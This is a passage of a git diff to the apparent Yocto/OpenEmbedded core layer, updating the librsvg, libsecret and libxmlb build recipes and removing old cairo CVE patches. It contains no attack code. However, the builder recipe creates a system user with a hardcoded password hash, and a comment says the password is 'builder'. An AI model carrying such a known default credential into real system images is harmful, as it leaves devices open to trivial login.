+SRC_URI[xml5ever-0.17.0.sha256sum] = "4034e1d05af98b51ad7214527730626f019682d797ba38b51689212118d8e650"
+SRC_URI[yeslogic-fontconfig-sys-4.0.1.sha256sum] = "ec657fd32bbcbeaef5c7bc8e10b3db95b143fab8db0a50079773dbf936fd4f73"
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch b/meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch
deleted file mode 100644
index 954bb60880..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From b99891e31eb6ce550e7e1cb2ca592095b3050a93 Mon Sep 17 00:00:00 2001
-From: Brion Vibber <brion@pobox.com>
-Date: Sun, 25 Feb 2018 18:42:36 -0800
-Subject: Auto-detect -Bsymbolic, fixes configure on macOS
-
-The -Bsymbolic linker option is ELF-specific, and was breaking
-configure on macOS unless --disable-Bsymbolic was explicitly passed.
-
-Switching the behavior from requiring -Bsymbolic to be available
-by default to just warning and continuing on without.
-
-Fixes https://gitlab.gnome.org/GNOME/librsvg/issues/211
-
-Upstream-Status: Backport
-Signed-off-by: Adrian Bunk <bunk@stusta.de>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 15b26b2d..9f8dce29 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -216,7 +216,7 @@ AM_CONDITIONAL([ENABLE_PIXBUF_LOADER],[test "$enable_pixbuf_loader" = "yes"])
- AC_ARG_ENABLE([Bsymbolic],
- [AS_HELP_STRING([--disable-Bsymbolic],
- [disable linking with -Bsymbolic])],
-- [],[enable_Bsymbolic=yes])
-+ [enable_Bsymbolic=no],[enable_Bsymbolic=auto])
-
- BSYMBOLIC_LDFLAG=
- if test "$enable_Bsymbolic" != "no"; then
---
-2.20.1
-
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch b/meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch
new file mode 100644
index 0000000000..c34a610522
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch
@@ -0,0 +1,44 @@
+From d0f4f5b3ae900b9d092407e29b5372d93910c18c Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 21 Sep 2021 16:27:14 +0200
+Subject: [PATCH] Makefile.am: pass rust target to cargo also when not cross
+ compiling
+
+Otherwise oe-core's native build doesn't work either.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ Makefile.am | 2 --
+ configure.ac | 4 +---
+ 2 files changed, 1 insertion(+), 5 deletions(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index 2a89954..4e296d3 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -173,9 +173,7 @@ else
+ CARGO_RELEASE_ARGS=--release
+ endif
+
+-if CROSS_COMPILING
+ CARGO_TARGET_ARGS=--target=$(RUST_TARGET)
+-endif
+
+ CARGO_VERBOSE = $(cargo_verbose_$(V))
+ cargo_verbose_ = $(cargo_verbose_$(AM_DEFAULT_VERBOSITY))
+diff --git a/configure.ac b/configure.ac
+index 42215cf..2499c96 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -292,9 +292,7 @@ AC_ARG_VAR(RUST_TARGET, [Set rust target (default=$host)])
+ : ${RUST_TARGET:=$host}
+
+ AM_CONDITIONAL([CROSS_COMPILING], [test "x$cross_compiling" = xyes])
+-AS_IF([test "x$cross_compiling" = "xyes"], [
+- RUST_TARGET_SUBDIR="$RUST_TARGET/$RUST_TARGET_SUBDIR"
+-])
++RUST_TARGET_SUBDIR="$RUST_TARGET/$RUST_TARGET_SUBDIR"
+ AC_SUBST([RUST_TARGET_SUBDIR])
+
+ dnl ===========================================================================
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-Remove-non-reproducible-SRCDIR.patch b/meta/recipes-gnome/librsvg/librsvg/0001-Remove-non-reproducible-SRCDIR.patch
deleted file mode 100644
index 75fc7f9d0b..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg/0001-Remove-non-reproducible-SRCDIR.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From bea5156cd7e7122715b26c769c35928141a1da2c Mon Sep 17 00:00:00 2001
-From: Joshua Watt <JPEWhacker@gmail.com>
-Date: Mon, 18 Nov 2019 14:46:34 -0600
-Subject: [PATCH] Remove non-reproducible SRCDIR
-
-Removes SRCDIR as the prefix for finding the test font. This wouldn't
-work anyway, since that path is not present on the target.
-
-This patch is specific to OE, since it appears that this entire method
-of testing was removed when upstream was re-written in rust
-
-Upstream-Status: Inappropriate [OE-specific, no longer present upstream]
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- rsvg-cairo-draw.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/rsvg-cairo-draw.c b/rsvg-cairo-draw.c
-index caa9104..cfb7ed2 100644
---- a/rsvg-cairo-draw.c
-+++ b/rsvg-cairo-draw.c
-@@ -398,7 +398,7 @@ set_font_options_for_testing (PangoContext *context)
- static void
- create_font_config_for_testing (RsvgCairoRender *render)
- {
-- const char *font_path = SRCDIR "/tests/resources/LiberationSans-Regular.ttf";
-+ const char *font_path = "/tests/resources/LiberationSans-Regular.ttf";
-
- if (render->font_config_for_testing != NULL)
- return;
diff --git a/meta/recipes-gnome/librsvg/librsvg/gtk-option.patch b/meta/recipes-gnome/librsvg/librsvg/gtk-option.patch
deleted file mode 100644
index 6c23071cd3..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg/gtk-option.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 4e0ce3f22d45033a108cbacca3e5ec6728bd44f3 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Tue, 11 Aug 2015 16:25:38 +0300
-Subject: [PATCH] configure: add option to enable/disable use of GTK+
-
-Distro packagers like predictability and automatically detected optional
-dependencies are not predicable. Add a --with-gtk3 option (default to "auto")
-for forcibly controlling whether GTK+ will be used or not.
-
-Upstream-Status: Submitted [https://bugzilla.gnome.org/show_bug.cgi?id=712693]
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 17 +++++++++++------
- 1 file changed, 11 insertions(+), 6 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index e61a952..c3aae84 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -130,17 +130,22 @@ AC_CHECK_FUNCS(strtok_r)
- # GTK
- # ===========================================================================
-
--PKG_CHECK_MODULES([GTK3],[gtk+-3.0 >= $GTK3_REQUIRED],[have_gtk_3=yes],[have_gtk_3=no])
--
- GTK3_BINARY_VERSION=
-
--if test "$have_gtk_3" = "yes"; then
-- GTK3_BINARY_VERSION="`$PKG_CONFIG --variable=gtk_binary_version gtk+-3.0`"
-+AC_MSG_CHECKING([whether to use GTK+ 3])
-+AC_ARG_WITH([gtk3],
-+ [AS_HELP_STRING([--without-gtk3],[Don't build GTK+3 tools (default=auto)])],
-+ [],[PKG_CHECK_EXISTS([gtk+-3.0 >= $GTK3_REQUIRED],[with_gtk3=yes],[with_gtk3=no])])
-+AC_MSG_RESULT([$with_gtk3])
-+
-+if test "$with_gtk3" = "yes"; then
-+ PKG_CHECK_MODULES(GTK3, [gtk+-3.0 >= $GTK3_REQUIRED])
-+ GTK3_BINARY_VERSION="`$PKG_CONFIG --variable=gtk_binary_version gtk+-3.0`"
- fi
-
- AC_SUBST([GTK3_BINARY_VERSION])
-
--AM_CONDITIONAL([HAVE_GTK_3],[test "$have_gtk_3" = "yes"])
-+AM_CONDITIONAL([HAVE_GTK_3],[test "$with_gtk3" = "yes"])
-
- dnl ===========================================================================
- dnl GDK-Pixbuf SVG loader
-@@ -298,6 +303,6 @@ librsvg-$VERSION
- Build introspectable bindings: ${found_introspection}
- Build Vala bindings: ${enable_vala}
- Build GdkPixbuf loader: ${enable_pixbuf_loader}
-- GTK+ $GTK3_REQUIRED or later: ${have_gtk_3}
-+ GTK+ $GTK3_REQUIRED or later: ${with_gtk_3}
- Build miscellaneous tools: ${build_misc_tools}
- "
---
-2.1.4
-
diff --git a/meta/recipes-gnome/librsvg/librsvg_2.40.20.bb b/meta/recipes-gnome/librsvg/librsvg_2.40.20.bb
deleted file mode 100644
index 337299ff69..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg_2.40.20.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Library for rendering SVG files"
-DESCRIPTION = "A small library to render Scalable Vector Graphics (SVG), \
-associated with the GNOME Project. It renders SVG files to Cairo surfaces. \
-Cairo is the 2D, antialiased drawing library that GNOME uses to draw things to \
-the screen or to generate output for printing."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/librsvg"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/librsvg/issues"
-
-RECIPE_NO_UPDATE_REASON = "Versions from 2.41.0 requires Rust compiler to build it"
-
-LICENSE = "LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://rsvg.h;beginline=3;endline=24;md5=20b4113c4909bbf0d67e006778302bc6"
-
-SECTION = "x11/utils"
-DEPENDS = "cairo gdk-pixbuf glib-2.0 libcroco libxml2 pango"
-BBCLASSEXTEND = "native nativesdk"
-
-inherit gnomebase gtk-doc pixbufcache upstream-version-is-even gobject-introspection
-
-SRC_URI += "file://gtk-option.patch \
- file://0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch \
- file://0001-Remove-non-reproducible-SRCDIR.patch \
-"
-
-SRC_URI[archive.md5sum] = "4949d313b0c5d9161a5c259104af5568"
-SRC_URI[archive.sha256sum] = "cff4dd3c3b78bfe99d8fcfad3b8ba1eee3289a0823c0e118d78106be6b84c92b"
-
-CACHED_CONFIGUREVARS = "ac_cv_path_GDK_PIXBUF_QUERYLOADERS=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
-
-PACKAGECONFIG ??= "gdkpixbuf"
-# The gdk-pixbuf loader
-PACKAGECONFIG[gdkpixbuf] = "--enable-pixbuf-loader,--disable-pixbuf-loader,gdk-pixbuf-native"
-# GTK+ test application (rsvg-view)
-PACKAGECONFIG[gtk] = "--with-gtk3,--without-gtk3,gtk+3"
-
-do_install_append() {
- # Loadable modules don't need .a or .la on Linux
- rm -f ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.a ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.la
-}
-
-PACKAGES =+ "librsvg-gtk rsvg"
-FILES_rsvg = "${bindir}/rsvg* \
- ${datadir}/pixmaps/svg-viewer.svg \
- ${datadir}/themes"
-FILES_librsvg-gtk = "${libdir}/gdk-pixbuf-2.0/*/*/*.so \
- ${datadir}/thumbnailers/librsvg.thumbnailer"
-RRECOMMENDS_librsvg-gtk = "gdk-pixbuf-bin"
-
-PIXBUF_PACKAGES = "librsvg-gtk"
diff --git a/meta/recipes-gnome/librsvg/librsvg_2.57.1.bb b/meta/recipes-gnome/librsvg/librsvg_2.57.1.bb
new file mode 100644
index 0000000000..4b52d4062b
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg_2.57.1.bb
@@ -0,0 +1,79 @@
+SUMMARY = "Library for rendering SVG files"
+DESCRIPTION = "A small library to render Scalable Vector Graphics (SVG), \
+associated with the GNOME Project. It renders SVG files to Cairo surfaces. \
+Cairo is the 2D, antialiased drawing library that GNOME uses to draw things to \
+the screen or to generate output for printing."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/librsvg"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/librsvg/issues"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
+ "
+
+SECTION = "x11/utils"
+DEPENDS = "cairo gdk-pixbuf glib-2.0 libxml2 pango python3-docutils-native"
+BBCLASSEXTEND = "native nativesdk"
+
+GNOMEBASEBUILDCLASS = "autotools"
+inherit cargo_common gnomebase pixbufcache gobject-introspection rust vala gi-docgen cargo-update-recipe-crates
+
+require ${BPN}-crates.inc
+
+SRC_URI += " \
+ file://0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch \
+ "
+
+SRC_URI[archive.sha256sum] = "074671a3ed6fbcd67cae2a40e539107f4f097ca8a4ab1a894c05e2524ff340ef"
+
+UPSTREAM_CHECK_REGEX = "librsvg-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
+
+# librsvg is still autotools-based, but is calling cargo from its automake-driven makefiles
+# so we cannot use cargo class directly, but still need bits and pieces from it
+# for cargo to be happy
+BASEDEPENDS:append = " cargo-native"
+
+export RUST_BACKTRACE = "full"
+export RUSTFLAGS
+
+export RUST_TARGET = "${RUST_HOST_SYS}"
+
+RUSTFLAGS:append:mips = " --cfg crossbeam_no_atomic_64"
+RUSTFLAGS:append:mipsel = " --cfg crossbeam_no_atomic_64"
+RUSTFLAGS:append:powerpc = " --cfg crossbeam_no_atomic_64"
+
+do_configure[postfuncs] += "cargo_common_do_configure"
+
+inherit rust-target-config
+
+# rust-cross writes the target linker binary into target json definition without any flags.
+# This breaks here because the linker isn't going to work without at least knowing where
+# the sysroot is. So copy the json to workdir, and patch in the path to wrapper from rust class
+# which supplies the needed flags.
+do_compile:prepend() {
+ sed -ie 's,"linker": ".*","linker": "${RUST_TARGET_CC}",g' ${RUST_TARGETS_DIR}/${RUST_HOST_SYS}.json
+}
+
+CVE_STATUS[CVE-2018-1000041] = "not-applicable-platform: Issue only applies on Windows"
+
+CACHED_CONFIGUREVARS = "ac_cv_path_GDK_PIXBUF_QUERYLOADERS=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
+
+PACKAGECONFIG ??= "gdkpixbuf"
+PACKAGECONFIG:append:class-target = " ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'vala', '', d)}"
+# The gdk-pixbuf loader
+PACKAGECONFIG[gdkpixbuf] = "--enable-pixbuf-loader,--disable-pixbuf-loader,gdk-pixbuf-native"
+PACKAGECONFIG[vala] = "--enable-vala,--disable-vala"
+
+do_install:append() {
+ # Loadable modules don't need .a or .la on Linux
+ rm -f ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.a ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.la
+}
+
+PACKAGES =+ "librsvg-gtk rsvg"
+FILES:rsvg = "${bindir}/rsvg* \
+ ${datadir}/pixmaps/svg-viewer.svg \
+ ${datadir}/themes"
+FILES:librsvg-gtk = "${libdir}/gdk-pixbuf-2.0/*/*/*.so \
+ ${datadir}/thumbnailers/librsvg.thumbnailer"
+RRECOMMENDS:librsvg-gtk = "gdk-pixbuf-bin"
+
+PIXBUF_PACKAGES = "librsvg-gtk"
diff --git a/meta/recipes-gnome/libsecret/files/0001-meson-add-option-introspection.patch b/meta/recipes-gnome/libsecret/files/0001-meson-add-option-introspection.patch
deleted file mode 100644
index 51ee66f42b..0000000000
--- a/meta/recipes-gnome/libsecret/files/0001-meson-add-option-introspection.patch
+++ /dev/null
@@ -1,137 +0,0 @@
-meson: add option introspection
-
-Add an option 'introspection' for meson which could control whether
-build GIR files or not.
-
-Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/libsecret/-/merge_requests/53]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
----
- libsecret/meson.build | 86 ++++++++++++++++++++++---------------------
- meson.build | 1 +
- meson_options.txt | 1 +
- 3 files changed, 46 insertions(+), 42 deletions(-)
-
-diff --git a/libsecret/meson.build b/libsecret/meson.build
-index 759b5ef..2ee8850 100644
---- a/libsecret/meson.build
-+++ b/libsecret/meson.build
-@@ -104,50 +104,52 @@ libsecret_dep = declare_dependency(
- )
-
- # GObject Introspection
--libsecret_gir_sources = [
-- 'secret-attributes.c',
-- 'secret-attributes.h',
-- 'secret-backend.c',
-- 'secret-backend.h',
-- 'secret-collection.c',
-- 'secret-collection.h',
-- 'secret-item.c',
-- 'secret-item.h',
-- 'secret-methods.c',
-- 'secret-password.c',
-- 'secret-password.h',
-- 'secret-paths.c',
-- 'secret-paths.h',
-- 'secret-prompt.c',
-- 'secret-prompt.h',
-- 'secret-retrievable.c',
-- 'secret-retrievable.h',
-- 'secret-schema.c',
-- 'secret-schema.h',
-- 'secret-schemas.c',
-- 'secret-schemas.h',
-- 'secret-service.c',
-- 'secret-service.h',
-- 'secret-types.h',
-- 'secret-value.c',
-- 'secret-value.h',
--]
--libsecret_gir_sources += version_h
--libsecret_gir_sources += _enums_generated
--
--libsecret_gir = gnome.generate_gir(libsecret,
-- sources: libsecret_gir_sources,
-- namespace: 'Secret',
-- nsversion: api_version_major,
-- export_packages: 'libsecret-@0@'.format(api_version_major),
-- includes: [ 'GObject-2.0', 'Gio-2.0' ],
-- header: 'libsecret/secret.h',
-- extra_args: [ '-D SECRET_COMPILATION'],
-- install: true,
--)
-+if with_gir
-+ libsecret_gir_sources = [
-+ 'secret-attributes.c',
-+ 'secret-attributes.h',
-+ 'secret-backend.c',
-+ 'secret-backend.h',
-+ 'secret-collection.c',
-+ 'secret-collection.h',
-+ 'secret-item.c',
-+ 'secret-item.h',
-+ 'secret-methods.c',
-+ 'secret-password.c',
-+ 'secret-password.h',
-+ 'secret-paths.c',
-+ 'secret-paths.h',
-+ 'secret-prompt.c',
-+ 'secret-prompt.h',
-+ 'secret-retrievable.c',
-+ 'secret-retrievable.h',
-+ 'secret-schema.c',
-+ 'secret-schema.h',
-+ 'secret-schemas.c',
-+ 'secret-schemas.h',
-+ 'secret-service.c',
-+ 'secret-service.h',
-+ 'secret-types.h',
-+ 'secret-value.c',
-+ 'secret-value.h',
-+ ]
-+ libsecret_gir_sources += version_h
-+ libsecret_gir_sources += _enums_generated
-+
-+ libsecret_gir = gnome.generate_gir(libsecret,
-+ sources: libsecret_gir_sources,
-+ namespace: 'Secret',
-+ nsversion: api_version_major,
-+ export_packages: 'libsecret-@0@'.format(api_version_major),
-+ includes: [ 'GObject-2.0', 'Gio-2.0' ],
-+ header: 'libsecret/secret.h',
-+ extra_args: [ '-D SECRET_COMPILATION'],
-+ install: true,
-+ )
-+endif
-
- # Vapi
--if with_vapi
-+if with_vapi and with_gir
- libsecret_vapi = gnome.generate_vapi('libsecret-@0@'.format(api_version_major),
- sources: libsecret_gir[0],
- metadata_dirs: meson.source_root() / 'libsecret',
-diff --git a/meson.build b/meson.build
-index a26d046..d22e008 100644
---- a/meson.build
-+++ b/meson.build
-@@ -22,6 +22,7 @@ with_gcrypt = get_option('gcrypt')
- enable_debug = get_option('debugging')
- with_vapi = get_option('vapi')
- with_gtkdoc = get_option('gtk_doc')
-+with_gir = get_option('introspection')
-
- # Some variables
- config_h_dir = include_directories('.')
-diff --git a/meson_options.txt b/meson_options.txt
-index c1fda5d..445aeb0 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -3,3 +3,4 @@ option('gcrypt', type: 'boolean', value: true, description: 'With gcrypt and tra
- option('debugging', type: 'boolean', value: false, description: 'Turn debugging on/off')
- option('vapi', type: 'boolean', value: true, description: 'Create VAPI file.')
- option('gtk_doc', type: 'boolean', value: true, description: 'Build reference documentation using gtk-doc')
-+option('introspection', type: 'boolean', value: true, description: 'Create GIR file.')
---
-2.17.1
-
diff --git a/meta/recipes-gnome/libsecret/libsecret_0.20.3.bb b/meta/recipes-gnome/libsecret/libsecret_0.20.3.bb
deleted file mode 100644
index 533015a1e4..0000000000
--- a/meta/recipes-gnome/libsecret/libsecret_0.20.3.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "libsecret is a library for storing and retrieving passwords and other secrets"
-DESCRIPTION = "A GObject-based library for accessing the Secret Service API of \
-the freedesktop.org project, a cross-desktop effort to access passwords, \
-tokens and other types of secrets. libsecret provides a convenient wrapper \
-for these methods so consumers do not have to call the low-level DBus methods."
-LICENSE = "LGPLv2.1"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libsecret/issues"
-LIC_FILES_CHKSUM = "file://COPYING;md5=23c2a5e0106b99d75238986559bb5fc6"
-
-GNOMEBASEBUILDCLASS = "meson"
-
-inherit gnomebase gtk-doc vala gobject-introspection manpages
-
-DEPENDS += "glib-2.0 libgcrypt gettext-native"
-
-SRC_URI += "file://0001-meson-add-option-introspection.patch"
-
-SRC_URI[archive.md5sum] = "47c3fdfeb111a87b509ad271e4a6f496"
-SRC_URI[archive.sha256sum] = "4fcb3c56f8ac4ab9c75b66901fb0104ec7f22aa9a012315a14c0d6dffa5290e4"
-
-GTKDOC_MESON_OPTION = 'gtk_doc'
-
-PACKAGECONFIG[manpages] = "-Dmanpage=true,-Dmanpage=false,libxslt-native xmlto-native"
-
-# http://errors.yoctoproject.org/Errors/Details/20228/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
diff --git a/meta/recipes-gnome/libsecret/libsecret_0.21.4.bb b/meta/recipes-gnome/libsecret/libsecret_0.21.4.bb
new file mode 100644
index 0000000000..88c3c73510
--- /dev/null
+++ b/meta/recipes-gnome/libsecret/libsecret_0.21.4.bb
@@ -0,0 +1,25 @@
+SUMMARY = "libsecret is a library for storing and retrieving passwords and other secrets"
+DESCRIPTION = "A GObject-based library for accessing the Secret Service API of \
+the freedesktop.org project, a cross-desktop effort to access passwords, \
+tokens and other types of secrets. libsecret provides a convenient wrapper \
+for these methods so consumers do not have to call the low-level DBus methods."
+LICENSE = "LGPL-2.1-only"
+HOMEPAGE = "https://github.com/GNOME/libsecret"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libsecret/issues"
+LIC_FILES_CHKSUM = "file://COPYING;md5=23c2a5e0106b99d75238986559bb5fc6"
+
+
+inherit gnomebase gi-docgen vala gobject-introspection manpages
+
+DEPENDS += "glib-2.0 libgcrypt gettext-native"
+
+SRC_URI[archive.sha256sum] = "163d08d783be6d4ab9a979ceb5a4fecbc1d9660d3c34168c581301cd53912b20"
+
+GTKDOC_MESON_OPTION = 'gtk_doc'
+
+PACKAGECONFIG[manpages] = "-Dmanpage=true,-Dmanpage=false,libxslt-native xmlto-native"
+
+# http://errors.yoctoproject.org/Errors/Details/20228/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
diff --git a/meta/recipes-gnome/libxmlb/libxmlb/0001-xb-selftest.c-hardcode-G_TEST_SRCDIR.patch b/meta/recipes-gnome/libxmlb/libxmlb/0001-xb-selftest.c-hardcode-G_TEST_SRCDIR.patch
new file mode 100644
index 0000000000..27081d8749
--- /dev/null
+++ b/meta/recipes-gnome/libxmlb/libxmlb/0001-xb-selftest.c-hardcode-G_TEST_SRCDIR.patch
@@ -0,0 +1,32 @@
+From 8a1aa4c318b8dbe4c0c2b1c4968f867ea6641b32 Mon Sep 17 00:00:00 2001
+From: Markus Volk <f_l_k@t-online.de>
+Date: Sat, 16 Sep 2023 14:02:57 +0200
+Subject: [PATCH] xb-self-test.c: hardcode G_TEST_SRCDIR
+
+This avoids:
+ libxmlb-0.3.14-r0 do_package_qa: QA Issue: File
+ /usr/libexec/installed-tests/libxmlb/xb-self-test in package libxmlb-ptest
+ contains reference to TMPDIR [buildpaths]
+
+and also fixes the runtime for the ptest.
+
+Upstream-Status: Inappropriate [oe-specific]
+
+Signed-off-by: Markus Volk <f_l_k@t-online.de>
+---
+ src/xb-self-test.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/xb-self-test.c b/src/xb-self-test.c
+index 1daca18..2e5b251 100644
+--- a/src/xb-self-test.c
++++ b/src/xb-self-test.c
+@@ -2876,7 +2876,7 @@ xb_speed_func(void)
+ int
+ main(int argc, char **argv)
+ {
+- g_setenv("G_TEST_SRCDIR", SRCDIR, FALSE);
++ g_setenv("G_TEST_SRCDIR", "/usr/libexec/installed-tests/libxmlb", FALSE);
+
+ g_test_init(&argc, &argv, NULL);
+
diff --git a/meta/recipes-gnome/libxmlb/libxmlb/run-ptest b/meta/recipes-gnome/libxmlb/libxmlb/run-ptest
new file mode 100644
index 0000000000..6d0bb95d3a
--- /dev/null
+++ b/meta/recipes-gnome/libxmlb/libxmlb/run-ptest
@@ -0,0 +1,3 @@
+#! /bin/sh
+
+gnome-desktop-testing-runner libxmlb
diff --git a/meta/recipes-gnome/libxmlb/libxmlb_0.3.17.bb b/meta/recipes-gnome/libxmlb/libxmlb_0.3.17.bb
new file mode 100644
index 0000000000..f403857fea
--- /dev/null
+++ b/meta/recipes-gnome/libxmlb/libxmlb_0.3.17.bb
@@ -0,0 +1,25 @@
+SUMMARY = "A library to help create and query binary XML blobs"
+HOMEPAGE = "https://github.com/hughsie/libxmlb"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1803fa9c2c3ce8cb06b4861d75310742"
+
+SRC_URI = " \
+ git://github.com/hughsie/libxmlb.git;branch=main;protocol=https \
+ file://0001-xb-selftest.c-hardcode-G_TEST_SRCDIR.patch \
+ file://run-ptest \
+"
+SRCREV = "db54f1b3254334e59b29b01b6cb666f444746594"
+S = "${WORKDIR}/git"
+
+DEPENDS = "glib-2.0 xz zstd"
+
+inherit gobject-introspection gtk-doc meson ptest-gnome lib_package pkgconfig
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false"
+
+GTKDOC_MESON_OPTION = "gtkdoc"
+
+FILES:${PN} += "${datadir}"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-graphics/builder/builder_0.1.bb b/meta/recipes-graphics/builder/builder_0.1.bb
index 0a64c31ab3..52c9351f93 100644
--- a/meta/recipes-graphics/builder/builder_0.1.bb
+++ b/meta/recipes-graphics/builder/builder_0.1.bb
@@ -1,7 +1,6 @@
SUMMARY = "New user to do specific job"
DESCRIPTION = "This recipe create a new user named ${PN}, who is used for specific jobs like building. The task can be auto started via mini X"
SECTION = "x11"
-PR = "r6"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://builder_session.sh;endline=5;md5=84796c3c41785d86100fdabcbdade00e"
@@ -10,14 +9,14 @@ SRC_URI = "file://builder_session.sh \
S = "${WORKDIR}"
-RDEPENDS_${PN} = "mini-x-session"
+RDEPENDS:${PN} = "mini-x-session"
inherit useradd
# builder user password is "builder"
BUILDER_PASSWORD ?= ".gLibiNXn0P12"
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --create-home \
+USERADD_PARAM:${PN} = "--system --create-home \
--groups video,tty,audio \
--password ${BUILDER_PASSWORD} \
--user-group builder"
@@ -29,3 +28,4 @@ do_install () {
chown builder.builder ${D}${sysconfdir}/mini_x/session.d/builder_session.sh
}
+CVE_STATUS[CVE-2008-4178] = "cpe-incorrect: This CVE is for an unrelated builder"
diff --git a/meta/recipes-graphics/cairo/cairo/CVE-2018-19876.patch b/meta/recipes-graphics/cairo/cairo/CVE-2018-19876.patch
deleted file mode 100644
index 4252a5663b..0000000000
--- a/meta/recipes-graphics/cairo/cairo/CVE-2018-19876.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-CVE: CVE-2018-19876
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 90e85c2493fdfa3551f202ff10282463f1e36645 Mon Sep 17 00:00:00 2001
-From: Carlos Garcia Campos <cgarcia@igalia.com>
-Date: Mon, 19 Nov 2018 12:33:07 +0100
-Subject: [PATCH] ft: Use FT_Done_MM_Var instead of free when available in
- cairo_ft_apply_variations
-
-Fixes a crash when using freetype >= 2.9
----
- src/cairo-ft-font.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/cairo-ft-font.c b/src/cairo-ft-font.c
-index 325dd61b4..981973f78 100644
---- a/src/cairo-ft-font.c
-+++ b/src/cairo-ft-font.c
-@@ -2393,7 +2393,11 @@ skip:
- done:
- free (coords);
- free (current_coords);
-+#if HAVE_FT_DONE_MM_VAR
-+ FT_Done_MM_Var (face->glyph->library, ft_mm_var);
-+#else
- free (ft_mm_var);
-+#endif
- }
- }
-
---
-2.11.0
-
diff --git a/meta/recipes-graphics/cairo/cairo/CVE-2019-6461.patch b/meta/recipes-graphics/cairo/cairo/CVE-2019-6461.patch
deleted file mode 100644
index 5232cf70c6..0000000000
--- a/meta/recipes-graphics/cairo/cairo/CVE-2019-6461.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-There is a potential infinite-loop in function _arc_error_normalized().
-
-CVE: CVE-2019-6461
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/src/cairo-arc.c b/src/cairo-arc.c
-index 390397bae..f9249dbeb 100644
---- a/src/cairo-arc.c
-+++ b/src/cairo-arc.c
-@@ -99,7 +99,7 @@ _arc_max_angle_for_tolerance_normalized (double tolerance)
- do {
- angle = M_PI / i++;
- error = _arc_error_normalized (angle);
-- } while (error > tolerance);
